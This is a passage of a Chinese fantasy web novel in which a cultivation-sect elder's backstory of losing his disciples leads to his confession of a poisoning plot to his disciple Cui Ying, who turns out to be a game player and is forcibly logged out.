这突如其来的剧变令所有人大惊失色,咸芸当机立断掐灭药气,自爆半颗金丹将所有溢出的毒气吸收;与此同时一道天外灵力轰然而至,重重劈向邱光誉,他于半空砸落在地,猛地望向高空,无垢宗师祖收回手,淡声: “拦住他。” 邱光誉毫不犹豫,燃起护体金光,再度冲向十万山! “唉。” 千钧重力当头压下,邱光誉被拍在地上,艰难地抬起头。 他一向以温吞和善为名,规行矩步,在无垢宗所有长老中,他是最年轻,也最乖巧的那一位。 此时此刻,他狼狈地跪趴在地,对着苍穹之上威严的白发男人,几乎是怒吼,声音撕破长空: “师父!!” 听到这两个字,师祖的眼神动了动,那张白雪凌花般的面孔上终究是露出了无奈。 “古亡灵必须扼杀在十万山。”师祖道,“光誉,不要让仙盟难做。” 因为师祖的支援,十万山的结界大阵稳住了,隔着结界,师祖抬起手,对准了山中的亡灵大军。 邱光誉听见惨叫,还没来得及阻止就猛地扭头,隔着一道结界,他看见老三,老四,老五老六已经没有生气,只剩一个断腿的老二还有几口气。他的手指深深抠进地里,泥土混着红血: “师父,您曾经告诉过我,有教无类,长善救失,您没有放弃过我,现在他是我的弟子,我的学生,给他一个机会,师父,给我一个机会!” 最后的声音已经是气声,师祖安静地看着他 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崔滢整个人一抖,惊骇地看向她。 余小玉忽然笑出声。 “你知不知道你这样很明显啊!”她睁大眼睛,“你每次,就这样。”她学着她的模样滑动手指,“还有你那个蹩脚的中文,傻子都看得出来好吧!” 崔滢:“……” 呃呃呃? 崔滢还是有点无法接受。 她这是……掉马了? 但是这情况,跟她想象中的完全不一样啊! “笨。”余小玉一语概括,“我试探你那么多次都不肯跟我说实话,只会支支吾吾,还是得靠我。” “好了,人是傻了些,好在性格还不错,正式交个朋友吧。”余小玉伸手,“我是玩家211,id就叫211,账号729387,你加我还是我加你?” 这一连串丝滑小妙招让崔滢顿时手忙脚乱,“呃”了好几声说:“我加你吧。”真加假加另说,反正不能让你加我。 余小玉伸出的手还没收回,耳朵就被动竖了起来。 “不好,好像有脚步声,师父回来了!”余小玉眉毛一挑,顺势拽起崔滢,“我们从后院溜!” 崔滢生无可恋地跟着余小玉穿过后门,踏进后院的那一刻,眼前映入一片葱绿。余小玉没骗她,后院真的有一篇菜田。 两个人走得飞快,崔滢不小心被什么东西绊了一下,脚感厚实柔软,无数细微的粒子从脚下飞起,弥漫在空气中。 她踢到了余小玉说的蘑菇。 “谁?” 屋子里传来熟悉的声音,紧接着是匆匆的脚步,两个人知道自己插翅难飞了,乖乖站在原地,余小玉拉低音量: “你踢到了蘑菇!” 崔滢知道,崔滢老实。 “是你们。” 天色彻底暗了下来,屋内点了一盏灯,邱长老的身影立在逆光中,显得有些萧瑟,“你们怎么找到这的?” “迷路了。”两人齐声。 再同时沉默。 “……”这下更像是蓄意而为有意串通了。 长久的沉默中,崔滢低着头,眼神落在光线里漂浮的孢子上。 刹那间,任喜儿的声音在耳边隐约响起: -“寻常蛊需以虫为媒介,此毒却是腐生毒菌与蛊虫共生体培育而成,外形如孢子,轻如空气,靠粘液附着,通常藏于潮湿阴暗的秘境,灵兽吸入孢子后,粘液溶解,孢子钻入鼻腔黏膜,最后释放神经毒素。” -“……这种蛊毒极为罕见,炼制要求相当苛刻且复杂,现阶段几乎不可能有人能够独立完成。就说这蚀心蛊中唯一能够承受菌丝的幼虫,多年前就已经绝迹,这培育毒菌孢子的鬼蕨,也早被仙盟的岐黄册禁养了。” -“下蛊之人,不仅掌握上古秘法,而且有材料来源,身份不简单。” 一串接着一串的电流涌过大脑,像是亿万年时间里的板块运动,那些沉重的拼图缓慢接合,那条显示百分之七十的进度条闪闪烁烁,最后一块拼图契合,崔滢抬头对上近在咫尺的邱长老,眼神平静。 “师父。”她说,就像问一日三餐那样的语气,“万兽谷的事情是你做的吗?” 余小玉一愣。 她不是震惊,她是当场就死机了。 脖颈生锈一般缓慢地转过来,看向崔滢的侧脸。 邱长老比崔滢稍微高出一点,他的影子被屋子里的光线拉得很长,投射在崔滢的身上,看不清表情,像是一座黑山。 “已经结案了。” “没有吧。” 崔滢扭头,天际流星般密密匝匝的剑气划下,朝着某个方向疾驰而来,“如果陈丽是凶手,内门此刻倾巢而出,又是为了谁呢?” “如果你不是凶手。”崔滢的视线定在面前人的脸上,红色的荆棘斑纹从衣领伸出,经过血管,下颌,唇齿,鼻尖,眼尾,邱长老的眼神在这四分五裂的表象背后,安静回望着自己的徒弟。 “那这万蚁啃噬的痛苦,又是谁在忍受呢?” 此时此刻,清风拂云,朔月当空。 清澈的光缎流泻而下,盖在这窄小的后院,细密的气孔阻绝了空气,令人倍感压抑。 “崔滢……”出声的是余小玉,她贴着崔滢,细微的颤抖透过衣裳传递,仿佛能看到她眼睛里的蚊香圈,“这是,这究竟是……” “我不记得我向你透露过什么。” 邱长老注视着她,仿佛第一次,真正认识自己的徒弟。 “所以我也什么都没有发现啊。”崔滢耸肩,“刚刚诈出来的。” “…………” 余小玉茫然的表情登时变成不可置信,眼神震撼,仿佛也是第一次认识这个同伴。 “现在想来,万兽谷的夜晚,幽冥火现的时候,所有人都看见了,我却在回程路上一片也没见到。”崔滢道,“是那些残念怕你,所以不敢靠近,对吗?” 邱长老笑了一下,像个和学生对答案的老师那样。 “对。” “进入万兽谷的时候,陈丽的队伍遭遇了袭击,所有人都陷入昏迷,只有你保持清醒。” “你是这么想的?” 邱长老摇头,“不对。是因为他们目睹了我召唤宾慈王,为了不暴露自己,以及方便后续清洗记忆,我让宾慈王把他们全部打晕了。” 宾慈王,应该就是温如骨。 崔滢忽然想起在竹楼上她问温如骨的那一句。 -意思是你伤害我的同伴是为了提醒我? 当时的温如骨没有回答,倚在栏杆上,笑眼望着冥夜。 ……原来那个时候他已经在提醒她了。 恶魔不会无缘无故出现,一定是收到了契约的召唤。 而召唤者,就在被袭击的队伍里面。 “陈丽这一步棋走的太急,”邱光誉哑声,“你发现端倪了?” 这回崔滢点头。 “在竹楼审讯的时候,她的普通话说的太流利了,当时我就怀疑,她会不会是被人控制,或者上身了。” “……”邱光誉,“没了。” “还有。”崔滢慢慢在脑海里捡拾碎片,“你跟我说的十万山的故事,和余小玉说的不一样。” 余小玉被点名:“啊?啊,呃,我什么都不知道。” 当然还有最重要的一点,任务进度条。 在崔滢和邱长老说话的时候,定死不动的进度条已经飙到了尾巴,即将咬合。 不过这一点,她的师父永远也不会知道。 十万山,听见这个熟悉的地名,邱长老低低的笑了起来,声音喑哑,全然令人忘了他现在正在遭受多么剧烈的痛苦,“是吗,不过我想她跟你说的,恐怕也不是全部。” 余小玉哆哆嗦嗦:“师父……?” “他们跟我保证,十万山所有人都已经完全撤离了,我才布下的结界。” “他们骗了我。” “……师父?” 老二跪在尸山血海中,仿佛从地狱爬上来的修罗,那双眼睛却无神而清澈,看着迅速靠近的身影,以为自己出现了幻觉。 “俟春!” 俟春,是他的名字,老二想起来。 因为他自小体弱多病,一到冬天就特别难捱,所以师父给他取了这个名字。 俟春者,立雪望阳之谓,寓寒尽暖生之期,怀冰霜不夺之志也。 想到这里,老二扯开血淋淋的嘴角,露出个笑。 “住手!俟春!”邱光誉心急如焚,大步上前,“把剑放下,师父在这!” “师父。”俟春哑声,他只剩一只眼睛,世界在他眼中一分为二,一半装着师父,另一半湮灭不见,“我看见你了。” “是我,是我。”他用力地锤着自己,仿佛感知不到那一大片片瘆人的血迹和破裂的内脏,“不是幻觉,俟春醒醒!不要被亡灵控制……” 他猛的呛出一大口血。 “不是亡灵,师父。”他平静道,“我知道我回不去了。” 浓郁的腥风将两人拉扯成流动的线条画,邱光誉被这句话定在原地,俟春挪动眼珠,粲然一笑。 “即便从这里出去,在师父心里,我还是百分百从前的那个老二吗?” “……” “亡灵会模仿人的行迹,习性。” “这具躯壳里的,是亡灵还是我,师父当真能分得清,没有一点怀疑吗?” “就算师父信了,同门呢,仙盟呢,哪怕是一刻防备,一点戒心,不能被承认的我,和死了又有什么区别?” 邱光誉:“不……” “弟子这辈子,仰仗师门,行事乖张,无所欲求,”他由下而上,视线定在邱光誉的脸上,扯出一线苦涩,“……唯独不想看到师父这样的表情。” 什么表情? 邱光誉蓦然回神,大声喊:“我没有那个意思!俟春……” “弟子不会离开这的。”俟春仰头最后望了一眼天,“师祖在等你了。” 三尺血溅,空响悲鸣,哀转久绝。 其实邱光誉知道,都知道。 或许那个时候的俟春也已经被亡灵取代,它见自己死到临头,才故意说出那番话企图拉一个修士下水; 或许俟春误会了师父的眼神,生死一线的抉择时刻,毅然决然走向死亡; 又或许那一刻,邱光誉的内心真的生出了一闪而过的龃龉,成为了压死俟春的最后一根稻草; …… 总是有太多的或许。 唯一能确认的是,邱光誉因此生了心魔。 正如先前所说,他温吞,静默,完美隐藏了自己破损的道心。 日复一日的梦魇折磨着他,死去的弟子在梦里开始变得面容扭曲,张牙舞爪。邱光誉唯独不能忍受这一点,不能忍受在他的徒弟在牺牲后,还要在他的梦里幻化成吃人的恶鬼。 他们应该永远都是风华正茂,意气风发才对。 “我的确是想借用宾慈王的力量,毁掉整个仙盟。”邱长老平静道,“我的怨气由心而起,无从倾泻,只能找一个目标,仙盟错估战况派我徒弟进山,他们也该成为这个目标。” 余小玉站着仿佛死去,已经没有呼吸声了。崔滢道:“师父,如果你现在认罪……” “或许我本来是这样想的。” 崔滢的话一断。 不详的预感节节攀升。 什么叫……或许? “可是我在这里看到了你。”邱长老的眼睛蓄着最后一点光,他叹息,“这大概就是天意。” 天意? 崔滢低头,一只手穿过自己的胸膛,鲜血喷射而出。 她明白了。 所谓天意,就是要夺回温如骨的契约权。 在余小玉变形的尖叫声中,朔月渐渐挪到了头顶。 崔滢努力想要看清眼前人的模样,可是视野开始模糊,感官正在下降。 不知道过了多久。 窒息的湿润凉意扑面而来,舱室里的伽莱大吸一口气用力睁眼,捂住心口急促呼吸,无声骂了句脏。 该死,该死,该死。 她猛击了几下大腿。 为什么偏偏在这个时候强制登出啊?!